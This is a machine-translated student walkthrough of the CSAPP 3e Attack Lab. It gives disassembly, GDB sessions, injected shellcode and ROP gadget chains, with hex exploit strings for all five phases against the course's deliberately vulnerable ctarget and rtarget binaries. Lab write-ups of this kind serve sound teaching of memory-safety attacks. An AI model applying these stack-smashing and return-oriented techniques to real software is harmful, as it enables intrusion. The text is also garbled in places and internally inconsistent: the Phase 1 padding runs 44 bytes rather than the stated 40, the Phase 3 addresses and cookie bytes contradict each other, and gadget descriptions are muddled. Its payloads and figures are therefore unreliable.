CSAPP 3e Attack Lab

Sum up the lab of CSAPP third edition.
This paper introduces attack lab, which mainly investigates the understanding of code injection and return oriented programming attacks, and the simple use of GDB and objdump.

Go to the website first http://csapp.cs.cmu.edu/3e/labs.html . Under windows, click self study handout to get the compressed package. My working environment is Ubuntu, a 64 bit operating system, which uses WGet instructions to download directly. (chrome click F12 to select the element to get the download address).

Be sure to read it http://csapp.cs.cmu.edu/3e/attacklab.pdf It’s an official statement.

This experiment is mainly for the third edition of Chapter 23, about the buffer overflow attack exercise. The difference with the second version is that the attack means of ROP (return oriented programming) is added. Pure buffer overflow attack is easily restricted by stack randomization and Canary protection. ROP attack uses the existing assembly code fragments in the program to combine the instructions that need to be executed. recommend http://drops.wooyun.org/tips/3071 This article further describes the blind return oriented programming (brop) attack. If you feel difficult to understand after reading, you can browse it http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf .
It is assumed that the description has been roughly browsed and the contents of each file have been understood.
Here is a brief description:

cookie.txt : store the identifier for your attack rtarget: program to execute return oriented programming attack ctarget: program to execute code injection attack farm. C: “gadget farm used to generate code fragment hexraw: used to generate attack string

The experiment is divided into five parts.

Phase 1
firstly, the executable program is disassembled to generate assembly code.
Objdump – D ctarget & gt; ctarget. D
the task of this level is to jump from the test function to touch1,.
The results are as follows

void test() {
      int val;
      val = getbuf();
      printf("No exploit. Getbuf returned 0x%x\n", val);
}

The compilation is as follows:

test:

0000000000401968 <test>:                                                                                     
  401968:   48 83 ec 08             sub    $0x8,%rsp
  40196c:   b8 00 00 00 00          mov    $0x0,%eax
  401971:   e8 32 fe ff ff          callq  4017a8 <getbuf>
  401976:   89 c2                   mov    %eax,%edx
  401978:   be 88 31 40 00          mov    $0x403188,%esi
  40197d:   bf 01 00 00 00          mov    $0x1,%edi
  401982:   b8 00 00 00 00          mov    $0x0,%eax
  401987:   e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c:   48 83 c4 08             add    $0x8,%rsp

Here, according to the prompt, overflow the buffer of getbuf directly and fill in the address space of touch1.

getbuf:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop  
  4017bf:   90                      nop 

touch1:

00000000004017c0 <touch1>:                                                                                              
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

The starting address of buf is% RSP, and then the size is 0x28 (40) bytes. As long as it is filled with 40 bytes, the address of touch1 is added as the return address: 0x4017c0. In 64 bit address format, the high bit is supplemented with 0, and the complete address is 0x0000000000 4017c0. Pay attention to the big and small problems when writing assembly!!! If you look at the code directly, you can see that it is a small end.

4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi

Or use GDB to debug:
b set the breakpoint, R is run, and the parameter – Q is added because the experiment is a local experiment and will not be submitted. X outputs the contents of the RSP register. X / b displays a single byte. You can see that it starts from the high bit.

gdb ctarget 
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) x/gx $rsp
0x5561dcb0:     0x0000000000401f24
(gdb) x/b
0x5561dcb8:     0x00
(gdb) 

Because of the small end mode, the additional address format is C0 17 40 00. VIM is a TXT or hex file, the content is as follows (30 can be replaced by CC or something)

30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00 

Then call the following command to see the result.

cat ctarget11.txt | ./hex2raw | ./ctarget -q 

Phase 2
the second level adds parameter passing to the first level.
Here is the touch2 Code:

 void touch2(unsigned val)
  {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
         printf("Touch2!: You called touch2(0x%.8x)\n", val);
         validate(2);
     } else {
         printf("Misfire: You called touch2(0x%.8x)\n", val);
         fail(2);
     }
     exit(0);
 }

Touch2 assembly:

00000000004017ec <touch2>:
  4017ec:   48 83 ec 08             sub    $0x8,%rsp                                                                    
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:   00 00 00
  4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:   75 20                   jne    401824 <touch2+0x38>
  401804:   be e8 30 40 00          mov    $0x4030e8,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:   bf 02 00 00 00          mov    $0x2,%edi
  40181d:   e8 6b 04 00 00          callq  401c8d <validate>
  401822:   eb 1e                   jmp    401842 <touch2+0x56>
  401824:   be 10 31 40 00          mov    $0x403110,%esi
  401829:   bf 01 00 00 00          mov    $0x1,%edi
  40182e:   b8 00 00 00 00          mov    $0x0,%eax
  401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:   bf 02 00 00 00          mov    $0x2,%edi
  40183d:   e8 0d 05 00 00          callq  401d4f <fail>
  401842:   bf 00 00 00 00          mov    $0x0,%edi
  401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>

First, the first parameter of the assembly function is stored in% EDI, so our goal is to store the cookie value in% EDI, and then jump to touch2. The injection code is as follows:

  movq $0x59b997fa,%rdi
  pushq $0x004017ec         
  retq  

Here, we can use GCC and objdump to translate assembly code into machine code. The above code is stored as insertvalue. S.

gcc -c insertValue.s
objdump -d insertValue.o  > insertValue.d 

The following machine code is obtained

insertValue.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

Then use the above bytecode to fill in 40 bytes and append the address of% RSP as the return address to execute these codes.
Next, use GDB to get the% RSP address. Make a breakpoint in getbuf and check the RSP address.

gdb ctarget
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info registers
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x3a676e6972747320       4208453775971873568
rdx            0xc      12
rsi            0x7ffff7dd59e0   140737351866848
rdi            0x5561dc78       1432476792
rbp            0x55685fe8       0x55685fe8
rsp            0x5561dc78       0x5561dc78
r8             0x0      0
r9             0x4032b4 4207284
r10            0x7ffff7fe0740   140737354008384
r11            0x7ffff7aa15c0   140737348507072
r12            0x2      2
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x4017af 0x4017af <getbuf+7>
eflags         0x216    [ PF AF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Or use

(gdb) ctarget

(gdb) b *(getbuf+14)
(gdb) run -q
Starting program

(gdb) p/x $rsp

Here we can see that the address is 0x5561dc78, so we get the following file ctarget21.txt:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00       

Then call the following command to see the result.

cat ctarget21.txt | ./hex2raw | ./ctarget -q 

Phase 3
this level needs to convert the cookie into a string and pass it to touch3

 void touch3(char *sval)
 {
     if (hexmatch(cookie, sval)) {
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
     } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
     exit(0);
 }

Note the problem here. First of all, the location of the cookie. If the cookie is stored in buf, the next hexmatch may cover its stack, but the parent stack of buf is safe. Just put the address of touch3 at the top of the parent stack.

First, we construct the injection code. The address of touch3 is 0x4018fa. According to the previous pass, we have got the% RSP address of 0x5561dc78, the return address should be% RSP + 0x28 (where the code execution address is stored), and then the string address should be% RSP + 0x30 (48)

movq $0x5561dc98,%rdi                                                                                                   
pushq $0x004018fa
retq
~                                        

Save it as bufinsert. S (forgive me for the name confusion, you know, variable naming is the first problem for programmers).

gcc -c bufInsert.s
objdump -d bufInsert.o  > bufInsert.d 

The code is as follows:

   0:   48 c7 c7 98 dc 61 55    mov    $0x5561dc98,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq   

Then construct a string. My cookie is 0x59b997fa. Here, I need to convert it to ASCII format and use man ASCII to view it. My corresponding ASCII code is 35 39 62 39 37 66 61 00.

To sum up, the file should have the following parts: first, the injected code and the padding bytes, then the address of the injected code, and finally the string. Construct ctarget31.txt as follows:

48 c7 c7 a8 dc 61 55 68 fa 18                                                                                           
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00  
35 39 62 39 39 37 66 61 00

Implementation:

cat ctarget31.txt | ./hex2raw | ./ctarget -q

Right!! Take a look at a successful example:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

Phase 4
the following two levels are examples of using ROP attack. Because of stack randomization, fixed% RSP address jump cannot be used, and code execution is prohibited in some areas. Here, ROP is used to construct the attack using the code fragment of the program itself.

The target here is the same as phase 2, passing cookie (0x59b997fa) to touch2 (0x4017ec).
The simplest idea is to save the cookie in% RSP and pop it up, but no POPQ% $RDI (bytecode 5F, available from the PDF manual at the beginning of the query). However, bytecode 58 representing POPQ% rax was found. The code address is as follows (objdump rtarget available)

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

The address is 0x4019ab, gadget1 !!!!

The following code can be used to complete the follow-up actions:

    popq %rax
    movq %rax %edi
    ret 

movq% rax% EDI bytecode is 48 89 C7 C3
found in the following code:

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq

The starting address is 0x4019c5 , gadget2 .

To sum up, the file should include the following parts: first, the filling area, then the return address of the gadget, cookie, the return address of the gadget2, and the address of touch2. The ctarget4.txt file is constructed as follows:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00  
c5 19 40 00 00 00 00 00  
ec 17 40 00 00 00 00 00  

Implementation:

cat ctarget4.txt | ./hex2raw | ./rtarget -q

Phase 5
like phase 3, it uses cookie to construct string and pass it to touch3, and uses ROP attack.
First look for the code related to% RSP.
4889e0 movq% RSP,% rax
the following fragment was found:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

The first gadget1 address is 0x401aad .

Next, we need a code fragment that can increment% rax to point to our cookie address.
Find 04 37 , which represents add $0x37% Al :

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

The second gadget2 address is 0x4019d8 .
Next, you need to move% rax content to% RDI and find 48 89 C7 representing mov% rax and% RDI .
The fragment is as follows:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

The third gadget3 address is 0x4019a2 .

Now to sum up, the file under attack should have the following parts: address of padding area 1, paget1, paget2, paget3, touch3, padding area 2, cookie. The size of the second padding area is 55 (0x37) – 3 * 8 = 31 bytes. Finally, the construction file ctarget5.txt is as follows:

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00  
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00

Implementation:

cat ctarget5.txt | ./hex2raw | ./rtarget -q    

Read More: